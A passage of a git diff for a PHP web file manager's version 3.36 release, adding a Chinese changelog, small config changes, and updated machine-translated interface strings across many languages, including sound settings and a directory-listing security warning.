diff --git a/ChangeLog.md b/ChangeLog.md index b19162d..4c69573 100755 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -1,3 +1,59 @@ +### ver3.36 `2016/12/24` +----- +#### update: + - UI样式各个细节兼容性调整;ie8图标优化;移动端样式优化;右键二级菜单位置优化(点不到问题) + - 文件(夹)可读写检测兼容性增强;兼容docker、虚拟机挂载目录读写判断 + - 大于4G文件大小获取错误;下载失败问题 + - 移动到回收站——window文件夹新建特殊字符处理;文件名不允许字符检测 win,linux各自检测;群组文件删除,移动到自己的回收站; + - 剪切文件夹,数据不完整处理(遍历问题,删除文件夹导致遍历中断) + - 文件上传分片大小默认设定,可以自定义上传分片大小;提高上传超大文件的成功率 + - 文件夹拖拽上传,文件夹含超过100个时丢失问题;(文件夹内含有软连接会忽略) + - 分享——文件属性(md5懒加载;图片尺寸查看) + - 下载链接优化,采用类伪静态地址;第三方软件下载时文件名能更友好 + - 通用音效设置处理,增加用户设置开关,默认关闭 + - 视频播放自适应宽度高度 + - 文件打开历史记录:不存在时自动关闭标签;浏览器用户数据存储——区分用户id[] + - 输出缓冲区统一处理,兼容下载文件等操作含BOM的影响; + - 分享页面多语言设置 + - 游客打开pdf问题优化,移动端打开pdf自适应优化 + - 扩展应用;应用中心样式修复;ie11新建应用导致丢失问题;含双引号的应用无法添加问题; + - 应用编辑,增加首次打开全屏选项;全屏应用取消全屏大小调整优化 + - 双击文件名重命名功能加入 + - 时间戳统一成24小时制式 + - 文件下载优化: + - 中文文件下载win下文件名乱码修复; + - firefox下载文件,文件名含有空格截断问题 + - 下载大文件,兼容部分服务器反应慢问题;断点续传优化 + - 编辑器优化: + - php文件编辑注释错误;(php,js注释错误;css,html正确);自动补全 php-html-js-css; php--html_worker; + - 编辑器新增php代码格式化功能;(缩进处理,空白字符处理;) + - 编辑器关键字去掉加粗,优化部分浏览器光标问题 + - 中文文件打开乱码问题优化;utf8有bom及无bom、GBK,Unicode等文本编码自动识别 + - markdown快捷键只用于md模式中;markdown公式支持更新(编辑器;分享页面) + - 跨系统含中文,解压缩优化 + - win下压缩,上传到(linux/windows);解压自动识别编码 + - linux下压缩,上传到(linux/windows);解压自动识别编码 + - linux访问(linux/windows)服务器,下载文件夹压缩编码自动识别 + - windows访问(linux/windows)服务器,下载文件夹压缩编码自动识别 + - 自动更新优化 + - 升级失败问题优化 + - 用户组根目录home建立 + - 显示用户目录、显示用户组目录;中文处理(新建用户,删除) + - 去除代码加密;安全狗误报问题优化($_REQUEST['']) + - 禁止列目录检测 + +#### fix bug + - 编辑器:树目录多一个undefined问题 + - 文件(夹)移动、删除到回收站;————兼容不在同一个磁盘 + - 搜索:文字超出部分处理;未知文件打开下载不了问题修复 + - 用户组上传权限对管理员开启。虚拟目录读写权限判断优化 + - 登陆偶尔ajax报错;登陆页空flash闪烁 + - 对话框关闭,偶尔闪烁问题修复 + - 其他用户分享根目录不允许删除 + - 图片旋转,php环境不支持提示 + + + ### ver3.35 `2016/12/17` ----- #### update: diff --git a/config/config.php b/config/config.php index 6c753d9..b5d9452 100755 --- a/config/config.php +++ b/config/config.php @@ -16,7 +16,7 @@ if(GLOBAL_DEBUG){ define('STATIC_JS','_dev'); //_dev||app define('STATIC_LESS','less');//less||css @ini_set("display_errors","on"); - @error_reporting(E_ERROR|E_PARSE|E_WARNING); + @error_reporting(E_ERROR|E_PARSE|E_WARNING);//E_ALL }else{ define('STATIC_JS','app'); //app define('STATIC_LESS','css');//css @@ -58,9 +58,11 @@ define('OFFICE_SERVER',"https://owa-box.vips100.com/op/view.aspx?src="); // https://docview.mingdao.com/op/view.aspx?src= // https://view.officeapps.live.com/op/view.aspx?src= + +include_once(FUNCTION_DIR.'common.function.php'); +$config['app_startTime'] = mtime(); include_once(FUNCTION_DIR.'web.function.php'); include_once(FUNCTION_DIR.'file.function.php'); -include_once(FUNCTION_DIR.'common.function.php'); include_once(CORER_DIR.'Application.class.php'); include_once(CORER_DIR.'Controller.class.php'); include_once(CORER_DIR.'Model.class.php'); @@ -76,20 +78,21 @@ include_once(BASIC_PATH.'config/version.php'); define('WEB_ROOT',get_webroot(BASIC_PATH)); define('HOST',get_host().'/'); define('APPHOST',HOST.str_replace(WEB_ROOT,'',BASIC_PATH));//程序根目录 - //数据地址定义。 $config['pic_thumb'] = BASIC_PATH.'data/thumb/'; // 缩略图生成存放地址 $config['cache_dir'] = BASIC_PATH.'data/cache/'; // 缓存文件地址 -$config['app_startTime'] = mtime(); //起始时间 + $config['app_charset'] = 'utf-8'; //该程序整体统一编码 $config['settings']['static_path'] = "./static/"; //静态文件目录 -$config['check_charset'] = 'ansii,utf-8,gbk,gb2312,utf-16,ucs-2,euc-kr,euc-jp,shift-jis,eucjp-win,sjis-win,jis,latin1'; //文件打开自动检测编码 - +$config['check_charset'] = 'ASCII,UTF-8,GBK,GB2312,UTF-16,UCS-2,EUC-KR,EUC-JP,SHIFT-JIS,EUCJP-WIN,SJIS-WIN,JIS,LATIN1';//文件打开自动检测编码 //when edit a file ;check charset and auto converto utf-8; if (strtoupper(substr(PHP_OS, 0,3)) === 'WIN') { $config['system_os']='windows'; $config['system_charset']='gbk';// EUC-JP/Shift-JIS/BIG5 //user set your server system charset + if(version_compare(phpversion(), '7.1.0', '>=')){//7.1 has auto apply the charset + $config['system_charset']='utf-8'; + } } else { $config['system_os']='linux'; $config['system_charset']='utf-8'; diff --git a/config/i18n/ar/main.php b/config/i18n/ar/main.php index 43a992f..fc9e217 100755 --- a/config/i18n/ar/main.php +++ b/config/i18n/ar/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "السماح بالتحميل", "move_error" => "فشل نقل", "setting_basic" => "الإعدادات الأساسية", - "setting_user_animage_show" => "فتح الرسوم المتحركة", + "setting_user_sound_open" => "فتح الصوت", + "setting_user_animate_open" => "فتح الرسوم المتحركة", "recycle_open_if" => "فتح سلة المحذوفات", "recycle_open" => "فتح", "qrcode" => "URL رمز الاستجابة السريعة", @@ -197,7 +198,7 @@ return array( "new_user_app" => "يتم إنشاء مستخدم جديد التطبيق الافتراضي", "new_user_app_desc" => "تطبيقات مركز التطبيق، تعددية مفصولة بفواصل", "auto_login" => "آخر تسجيل الدخول التلقائي", - "auto_login_desc" => "اسم المستخدم تسجيل الدخول الافتراضيضيفللمستخدمين، وبعد الافتتاح لضمانضيفوجود المستخدم", + "auto_login_desc" => "تسجيل الدخول الافتراضي المستخدمguest/guestالمستخدمين، وبعد الافتتاح لضمان وجود المستخدم", "first_in" => "بعد تسجيل الدخول إلى الافتراضي", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string فتحها", "php_env_error_file" => "file_get_contents فتحها", "php_env_error_path" => "غير قابل للكتابة", + "php_env_error_list_dir" => "خادم الويب الخاص بك يفتح الدليل ميزة قائمة لأسباب أمنية، تعطيل هذه الميزة!كيف؟", "php_env_error_gd" => "وينبغي أن تكون مكتبة GD بى مفتوحة، وإلا رمز، استخدم الصورة المصغرة لن تعمل بشكل صحيح", "install_login" => "يمكنك استخدام تسجيل الدخول حساب التالية", "install_enter" => "النظام", diff --git a/config/i18n/bg/main.php b/config/i18n/bg/main.php index c5efc14..d36820f 100755 --- a/config/i18n/bg/main.php +++ b/config/i18n/bg/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Оставя качване", "move_error" => "Движете се провали", "setting_basic" => "Основни настройки", - "setting_user_animage_show" => "Open Анимация", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open Анимация", "recycle_open_if" => "Отворете кошчето", "recycle_open" => "отворено", "qrcode" => "URL QR код", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Най-новият потребител е създадена от приложението по подразбиране", "new_user_app_desc" => "Заявленията за кандидатстване център, множество разделени със запетаи", "auto_login" => "Посетителите автоматично влизане", - "auto_login_desc" => "Потребителското име по подразбиране за входгостпотребители; след отваряне за да се гарантирагостпотребителското присъствие", + "auto_login_desc" => "Стандартната вход потребителскотоguest/guestпотребители; след отваряне за да се гарантира, че съществува на потребителя", "first_in" => "След като влезете в по подразбиране", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Неотваряна mb_string", "php_env_error_file" => "Неотворени file_get_contents", "php_env_error_path" => "Не е достъпна за писане", + "php_env_error_list_dir" => "Вашият уеб сървър отваря директорията листинг функция от съображения за сигурност, деактивирате тази функция!как?", "php_env_error_gd" => "Php GD библиотека трябва да бъде отворена, в противен случай кода, използвайте миниатюрата няма да функционира правилно", "install_login" => "Можете да използвате следната вход сметка", "install_enter" => "системата", diff --git a/config/i18n/bn/main.php b/config/i18n/bn/main.php index 40ce9b8..38c7c5c 100755 --- a/config/i18n/bn/main.php +++ b/config/i18n/bn/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "আপলোড করার অনুমতি দিন", "move_error" => "সরান ব্যর্থ", "setting_basic" => "বেসিক সেটিংস", - "setting_user_animage_show" => "অ্যানিমেশন খুলুন", + "setting_user_sound_open" => "ওপেন সাউন্ড", + "setting_user_animate_open" => "অ্যানিমেশন খুলুন", "recycle_open_if" => "রিসাইকেল বিন খুলুন", "recycle_open" => "খোলা", "qrcode" => "URL টি QR কোড", @@ -197,7 +198,7 @@ return array( "new_user_app" => "নতুন ব্যবহারকারী ডিফল্ট অ্যাপ্লিকেশন দ্বারা নির্মিত হয়", "new_user_app_desc" => "অ্যাপ্লিকেশন অ্যাপ্লিকেশন সেন্টার, কমা দ্বারা পৃথক একটি বহুবচন", "auto_login" => "দর্শকরা স্বয়ংক্রিয় লগইন", - "auto_login_desc" => "ডিফল্ট লগইন ইউজারনেমঅতিথিব্যবহারকারীদের; খোলার পর তা নিশ্চিত করার জন্যঅতিথিব্যবহারকারী উপস্থিতি", + "auto_login_desc" => "ডিফল্ট লগইন ব্যবহারকারীguest/guestব্যবহারকারীদের; খোলার পর তা নিশ্চিত করার জন্য ব্যবহারকারী বিদ্যমান", "first_in" => "ডিফল্ট লগ-ইন করার পর", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "অনুদ্ঘাটিত mb_string", "php_env_error_file" => "অনুদ্ঘাটিত file_get_contents", "php_env_error_path" => "লেখা যাচ্ছে না", + "php_env_error_list_dir" => "আপনার ওয়েব সার্ভারের মধ্যে নিরাপত্তার কারণে বৈশিষ্ট্য তালিকা প্রর্দশিত হবে, এই বৈশিষ্ট্যটি নিষ্ক্রিয়!কিভাবে?", "php_env_error_gd" => "Php জিডি লাইব্রেরি খোলা, অন্যথায় কোড হতে হবে থাম্বনেইল ব্যবহার সঠিকভাবে কাজ করবে না", "install_login" => "আপনি নিম্নলিখিত অ্যাকাউন্ট লগইন ব্যবহার করতে পারেন", "install_enter" => "পদ্ধতি", diff --git a/config/i18n/ca/main.php b/config/i18n/ca/main.php index 4fcdc0e..402feee 100755 --- a/config/i18n/ca/main.php +++ b/config/i18n/ca/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "permetre càrregues", "move_error" => "no es van poder moure", "setting_basic" => "configuració bàsica", - "setting_user_animage_show" => "obrir Animació", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "obrir Animació", "recycle_open_if" => "Obriu la Paperera de reciclatge", "recycle_open" => "obert", "qrcode" => "URL del codi QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "El nou usuari es crea mitjançant l'aplicació per defecte", "new_user_app_desc" => "Aplicacions Application Center, una pluralitat d'separats per comes", "auto_login" => "Els visitants d'inici de sessió automàtic", - "auto_login_desc" => "hostenom d'usuari d'inici de sessió predeterminat, després de l'obertura per garantirhostepresència de l'usuari", + "auto_login_desc" => "L'inici de sessió d'usuari per defecteguest/guestusuaris, després d'obrir-lo, per assegurar-se que l'usuari existeix", "first_in" => "Després d'entrar en el valor per defecte", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string sense obrir", "php_env_error_file" => "file_get_contents sense obrir", "php_env_error_path" => "no es pot escriure", + "php_env_error_list_dir" => "El seu servidor web obre la característica de llistar directoris per raons de seguretat, desactivar aquesta característica!com?", "php_env_error_gd" => "php biblioteca GD ha de ser obert, en cas contrari el codi, utilitzeu la miniatura no funcionarà correctament", "install_login" => "Podeu utilitzar el següent accés al compte", "install_enter" => "El sistema de", diff --git a/config/i18n/cs/main.php b/config/i18n/cs/main.php index ed9b6f5..290ce28 100755 --- a/config/i18n/cs/main.php +++ b/config/i18n/cs/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "povolit nahrávání", "move_error" => "přesunout se nezdařilo", "setting_basic" => "Základní nastavení", - "setting_user_animage_show" => "otevřená Animace", + "setting_user_sound_open" => "open Sound", + "setting_user_animate_open" => "otevřená Animace", "recycle_open_if" => "Otevřete Koš", "recycle_open" => "otevřeno", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Nový uživatel je vytvořen ve výchozím nastavení aplikací", "new_user_app_desc" => "Aplikace Application Center, několik oddělených čárkami", "auto_login" => "Návštěvníci automatické přihlašování", - "auto_login_desc" => "Výchozí přihlašovací jménonávštěvníkuživatelé, po otevření, aby zajistilynávštěvníkpřítomnost uživatel", + "auto_login_desc" => "Výchozí přihlašovací uživatelskéguest/guestuživatelé, po otevření, aby bylo zajištěno, že uživatel existuje", "first_in" => "Po přihlášení do výchozí", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "neotevřené mb_string", "php_env_error_file" => "neotevřené file_get_contents", "php_env_error_path" => "nelze zapisovat", + "php_env_error_list_dir" => "Webový server otevře výpis adresáře funkci bezpečnostních důvodů tuto funkci zakázat!jak?", "php_env_error_gd" => "PHP GD knihovna by měla být otevřená, jinak kód, použijte miniaturu nebude správně fungovat", "install_login" => "Můžete použít následující přihlašovací účet", "install_enter" => "systém", diff --git a/config/i18n/da/main.php b/config/i18n/da/main.php index 8f45eb5..28f0421 100755 --- a/config/i18n/da/main.php +++ b/config/i18n/da/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Tillad upload", "move_error" => "Flyt mislykkedes", "setting_basic" => "Grundlæggende indstillinger", - "setting_user_animage_show" => "Åbn Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Åbn Animation", "recycle_open_if" => "Åbn papirkurven", "recycle_open" => "åbent", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Den nye bruger oprettes som standard app", "new_user_app_desc" => "Applikationer Application Center, en flerhed af adskilt af kommaer", "auto_login" => "Besøgende automatisk login", - "auto_login_desc" => "Standard login brugernavngæstbrugere, efter åbning for at sikregæstbruger tilstedeværelse", + "auto_login_desc" => "Standard brugernavnguest/guestbrugere efter åbning for at sikre, at brugeren eksisterer", "first_in" => "Når du er logget ind i standard", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "uåbnet mb_string", "php_env_error_file" => "uåbnede file_get_contents", "php_env_error_path" => "Ikke skrivbar", + "php_env_error_list_dir" => "Din webserver åbner mappen notering funktionen af ​​sikkerhedsmæssige årsager, deaktivere denne funktion!hvordan?", "php_env_error_gd" => "Php GD biblioteket skal være åben, ellers koden, skal du bruge miniaturebillede vil ikke fungere korrekt", "install_login" => "Du kan bruge følgende konto login", "install_enter" => "systemet", diff --git a/config/i18n/de/main.php b/config/i18n/de/main.php index 4042a1c..ee691b2 100755 --- a/config/i18n/de/main.php +++ b/config/i18n/de/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Upload zulassen", "move_error" => "Verschieben fehlgeschlagen", "setting_basic" => "Grundeinstellungen", - "setting_user_animage_show" => "Animation öffnen", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Animation öffnen", "recycle_open_if" => "Öffnen Sie den Papierkorb", "recycle_open" => "geöffnet", "qrcode" => "URL QR-Code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Der neue Benutzer wird durch Standard-App erstellt", "new_user_app_desc" => "Anwendungen Application Center, eine Vielzahl von durch Komma getrennt", "auto_login" => "Besucher die automatische Anmeldung", - "auto_login_desc" => "GastStandard-Login-Benutzernamen, nach dem ÖffnenGastAnwesenheit des Benutzers, um sicherzustellen,", + "auto_login_desc" => "Die Standard-Login-Benutzerguest/guestBenutzer, nach dem Öffnen, um sicherzustellen, dass der Benutzer vorhanden ist", "first_in" => "Nachdem in den Standardprotokollierung", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Ungeöffnete mb_string", "php_env_error_file" => "Ungeöffnete file_get_contents", "php_env_error_path" => "Nicht beschreibbar", + "php_env_error_list_dir" => "Ihr Web-Server die Verzeichnisliste Funktion aus Sicherheitsgründen nicht geöffnet wird, deaktivieren Sie diese Funktion!wie?", "php_env_error_gd" => "Php GD-Bibliothek sollte offen sein, sonst wird der Code, die Miniaturansicht verwenden, nicht richtig funktionieren", "install_login" => "Sie können das folgende Konto Login verwenden", "install_enter" => "das System", diff --git a/config/i18n/el/main.php b/config/i18n/el/main.php index e209abd..4da7923 100755 --- a/config/i18n/el/main.php +++ b/config/i18n/el/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "επιτρέπουν τη μεταφόρτωση", "move_error" => "Μετακίνηση απέτυχε", "setting_basic" => "βασικές ρυθμίσεις", - "setting_user_animage_show" => "ανοικτή Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "ανοικτή Animation", "recycle_open_if" => "Ανοίξτε τον Κάδο Ανακύκλωσης", "recycle_open" => "ανοιχτό", "qrcode" => "URL κώδικα QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Ο νέος χρήστης έχει δημιουργηθεί από την προεπιλεγμένη εφαρμογή", "new_user_app_desc" => "Εφαρμογές Κέντρο Εφαρμογών, ένα πλήθος από διαχωρισμένες με κόμμα", "auto_login" => "Επισκέπτες αυτόματη σύνδεση", - "auto_login_desc" => "επισκεπτώνόνομα χρήστη προεπιλεγμένο login? Μετά το άνοιγμα για να εξασφαλιστείεπισκεπτών παρουσία χρήστη", + "auto_login_desc" => "Η προεπιλεγμένη σύνδεση χρήστηguest/guestχρήστες? Μετά το άνοιγμα για να εξασφαλιστεί ότι υπάρχει το χρήστη", "first_in" => "Μετά την είσοδο στο προεπιλεγμένο", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Μη ανοιγμένα mb_string", "php_env_error_file" => "Μη ανοιγμένα file_get_contents", "php_env_error_path" => "δεν είναι εγγράψιμο", + "php_env_error_list_dir" => "web server σας ανοίγει τον κατάλογο χαρακτηριστικό λίστα για λόγους ασφαλείας, απενεργοποιήστε αυτή τη λειτουργία!πώς;", "php_env_error_gd" => "Php GD βιβλιοθήκη πρέπει να είναι ανοιχτή, διαφορετικά τον κωδικό, χρησιμοποιήστε τη μικρογραφία δεν θα λειτουργεί σωστά", "install_login" => "Μπορείτε να χρησιμοποιήσετε την ακόλουθη σύνδεση λογαριασμού", "install_enter" => "Το σύστημα", diff --git a/config/i18n/en/main.php b/config/i18n/en/main.php index b4a229a..b64abbd 100755 --- a/config/i18n/en/main.php +++ b/config/i18n/en/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Can Upload", "move_error" => "Move Error", "setting_basic" => "Basic Setting", - "setting_user_animage_show" => "Open the animation", + "setting_user_sound_open" => "Turns on the sound", + "setting_user_animate_open" => "Open the animation", "recycle_open_if" => "Open The Recycle", "recycle_open" => "Open", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Default app", "new_user_app_desc" => "Add user;default app", "auto_login" => "Guest auto login", - "auto_login_desc" => "Default:guest;ensure that the guest user exists", + "auto_login_desc" => "The default login user is guest/guest; after opening, ensure that the user exists", "first_in" => "Login goto action", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Not open mb_string", "php_env_error_file" => "Not open file_get_contents", "php_env_error_path" => "Can not write", + "php_env_error_list_dir" => "Your web server has a directory directory feature turned on, please disable this feature for security reasons! how? ", "php_env_error_gd" => "Not open php GD", "install_login" => "Use the following account login", "install_enter" => "Enter", @@ -407,7 +409,7 @@ return array( "upload_drag_tips" => "Release can be uploaded!", "path_not_allow" => "File name not allowed", "download" => "Download", - "download_address" => "Url ", + "download_address" => "download link", "download_ready" => "Download start", "download_success" => "Download success! ", "download_error" => "Download_error.", diff --git a/config/i18n/es/main.php b/config/i18n/es/main.php index 7945b3b..0fd2560 100755 --- a/config/i18n/es/main.php +++ b/config/i18n/es/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Permitir cargas", "move_error" => "no se pudieron mover", "setting_basic" => "Configuración básica", - "setting_user_animage_show" => "Abrir Animación", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Abrir Animación", "recycle_open_if" => "Abra la Papelera de reciclaje", "recycle_open" => "abierto", "qrcode" => "URL del código QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "El nuevo usuario se crea mediante la aplicación por defecto", "new_user_app_desc" => "Aplicaciones Application Center, una pluralidad de separados por comas", "auto_login" => "Los visitantes de inicio de sesión automático", - "auto_login_desc" => "huéspednombre de usuario de inicio de sesión predeterminado; después de la apertura para garantizarhuéspedpresencia del usuario", + "auto_login_desc" => "El inicio de sesión de usuario por defectoguest/guestusuarios, después de abrirlo, para asegurarse de que el usuario existe", "first_in" => "Después de entrar en el valor por defecto", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string sin abrir", "php_env_error_file" => "file_get_contents sin abrir", "php_env_error_path" => "no se puede escribir", + "php_env_error_list_dir" => "Su servidor web abre la característica de listar directorios por razones de seguridad, desactivar esta característica!cómo?", "php_env_error_gd" => "php biblioteca GD debe ser abierto, de lo contrario el código, utilice la miniatura no funcionará correctamente", "install_login" => "Usted puede utilizar el siguiente acceso a la cuenta", "install_enter" => "El sistema de", diff --git a/config/i18n/et/main.php b/config/i18n/et/main.php index b915585..778862b 100755 --- a/config/i18n/et/main.php +++ b/config/i18n/et/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Laske upload", "move_error" => "Liigu ebaõnnestus", "setting_basic" => "Basic Settings", - "setting_user_animage_show" => "Avatud animatsioon", + "setting_user_sound_open" => "Avatud Sound", + "setting_user_animate_open" => "Avatud animatsioon", "recycle_open_if" => "Avage Prügikast", "recycle_open" => "avatud", "qrcode" => "URL QR koodi", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Uus kasutaja poolt loodud vaikerakendusena", "new_user_app_desc" => "Rakendused Application Center, mitmete komadega eraldatult", "auto_login" => "Turistid automaatne sisselogimine", - "auto_login_desc" => "Vaikimisi login kasutajanimikülalinekasutajaid, pärast avamist, et tagadakülalinekasutaja kohaloleku", + "auto_login_desc" => "Vaikimisi login kasutajaguest/guestkasutajad, pärast avamist, et tagada kasutaja olemas", "first_in" => "Pärast logige vaikimisi", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "avamata mb_string", "php_env_error_file" => "avamata file_get_contents", "php_env_error_path" => "pole kirjutatav", + "php_env_error_list_dir" => "Sinu veebiserver avab kataloogide loetelu funktsioon turvakaalutlustel, blokeeri see funktsioon!kuidas?", "php_env_error_gd" => "PHP GD teek peaks olema avatud, siis kood, kasutada pisipiltide ei tööta korralikult", "install_login" => "Te võite kasutada järgmisi login", "install_enter" => "süsteem", diff --git a/config/i18n/fa/main.php b/config/i18n/fa/main.php index dee85d5..d251a4d 100755 --- a/config/i18n/fa/main.php +++ b/config/i18n/fa/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "اجازه آپلود", "move_error" => "انتقال انجام نشد", "setting_basic" => "تنظیمات عمومی", - "setting_user_animage_show" => "گسترش انیمیشن", + "setting_user_sound_open" => "صدا باز", + "setting_user_animate_open" => "گسترش انیمیشن", "recycle_open_if" => "باز کردن سطل بازیافت", "recycle_open" => "باز", "qrcode" => "URL کد QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "کاربر جدید توسط برنامه پیش فرض ایجاد", "new_user_app_desc" => "نرم افزار مرکز نرم افزار، تکثر با کاما جدا شده", "auto_login" => "آخرین بازدید ورود خودکار", - "auto_login_desc" => "نام کاربری ورود به طور پیش فرضمهمانکاربران؛ پس از باز شدن تا اطمینان حاصل شودمهمانحضور کاربر", + "auto_login_desc" => "ورود به سیستم به طور پیش فرض برای کاربرانguest/guestکاربران؛ پس از باز شدن به اطمینان حاصل شود که کاربران به وجود", "first_in" => "پس از ورود به طور پیش فرض", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string باز نشده", "php_env_error_file" => "از file_get_contents باز نشده", "php_env_error_path" => "قابل نوشتن نیست", + "php_env_error_list_dir" => "وب سرور خود را در دایرکتوری ویژگی را به دلایل امنیتی باز می شود، غیر فعال کردن این ویژگی!چگونه؟", "php_env_error_gd" => "کتابخانه PHP GD باید باز باشد، در غیر این صورت کد، استفاده از تصاویر بند انگشتی نمی خواهد درست عمل", "install_login" => "شما می توانید ورود به حساب های زیر استفاده کنید", "install_enter" => "سیستم", diff --git a/config/i18n/fi/main.php b/config/i18n/fi/main.php index 7502d31..2a7a5fa 100755 --- a/config/i18n/fi/main.php +++ b/config/i18n/fi/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "salli upload", "move_error" => "Siirrä epäonnistui", "setting_basic" => "Basic Settings", - "setting_user_animage_show" => "Open animaatio", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open animaatio", "recycle_open_if" => "Avaa roskakoriin", "recycle_open" => "avoin", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Uusi käyttäjä luodaan oletuksena app", "new_user_app_desc" => "Hakemukset Application Center, useita pilkulla erotettuna", "auto_login" => "Vierailijat automaattinen sisäänkirjautuminen", - "auto_login_desc" => "vierasoletus käyttäjätunnus, avaamisen jälkeen varmistaavieraskäyttäjä läsnäolo", + "auto_login_desc" => "Oletuksena käyttäjänimiguest/guestkäyttäjien avaamisen jälkeen sen varmistamiseksi, että käyttäjä on olemassa", "first_in" => "Kun olet kirjautunut oletus", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "avaamaton mb_string", "php_env_error_file" => "avaamaton file_get_contents", "php_env_error_path" => "ei voi kirjoittaa", + "php_env_error_list_dir" => "Web-palvelin avaa hakemistolistaus ominaisuus turvallisuussyistä poistaa tämän ominaisuuden!miten?", "php_env_error_gd" => "PHP GD kirjasto pitäisi olla auki, muuten koodia, käytä pientä ei toimi kunnolla", "install_login" => "Voit käyttää seuraavia tilille kirjautumiseen", "install_enter" => "järjestelmä", diff --git a/config/i18n/fr/main.php b/config/i18n/fr/main.php index 0079139..f905e30 100755 --- a/config/i18n/fr/main.php +++ b/config/i18n/fr/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Autoriser le téléchargement", "move_error" => "Déplacer échoué", "setting_basic" => "Réglages de base", - "setting_user_animage_show" => "Ouvrir l'animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Ouvrir l'animation", "recycle_open_if" => "Ouvrez la Corbeille", "recycle_open" => "ouvert", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Le nouvel utilisateur est créé par l'application par défaut", "new_user_app_desc" => "Applications Application Center, une pluralité de séparés par des virgules", "auto_login" => "Les visiteurs de connexion automatique", - "auto_login_desc" => "nom d'invitéde connexion par défaut de l'utilisateur, après l'ouverture pour assurerinvitéprésence de l'utilisateur", + "auto_login_desc" => "La connexion par défaut utilisateurguest/guestutilisateurs; après l'ouverture afin d'assurer que l'utilisateur existe", "first_in" => "Après avoir accédé à la valeur par défaut", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string Unopened", "php_env_error_file" => "file_get_contents non ouverts", "php_env_error_path" => "Non inscriptible", + "php_env_error_list_dir" => "Votre serveur Web ouvre le répertoire fonctionnalité liste pour des raisons de sécurité, désactiver cette fonctionnalité!comment?", "php_env_error_gd" => "bibliothèque GD Php doit être ouvert, sinon le code, utilisez la vignette ne fonctionnera pas correctement", "install_login" => "Vous pouvez utiliser le compte de connexion suivante", "install_enter" => "le système", diff --git a/config/i18n/gl/main.php b/config/i18n/gl/main.php index c62ffbd..d44aadb 100755 --- a/config/i18n/gl/main.php +++ b/config/i18n/gl/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "permitir o envío", "move_error" => "mover fallou", "setting_basic" => "Basic Settings", - "setting_user_animage_show" => "Open Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open Animation", "recycle_open_if" => "Abre a papeleira", "recycle_open" => "aberto", "qrcode" => "QR code URL", @@ -197,7 +198,7 @@ return array( "new_user_app" => "O usuario é creado por aplicación estándar", "new_user_app_desc" => "Aplicacións Application Center, unha pluralidade de separados por comas", "auto_login" => "Visitantes de inicio de sesión automático", - "auto_login_desc" => "O nome de usuario de login estándarinvitadousuarios; despois da apertura para asegurarinvitadopresenza do usuario", 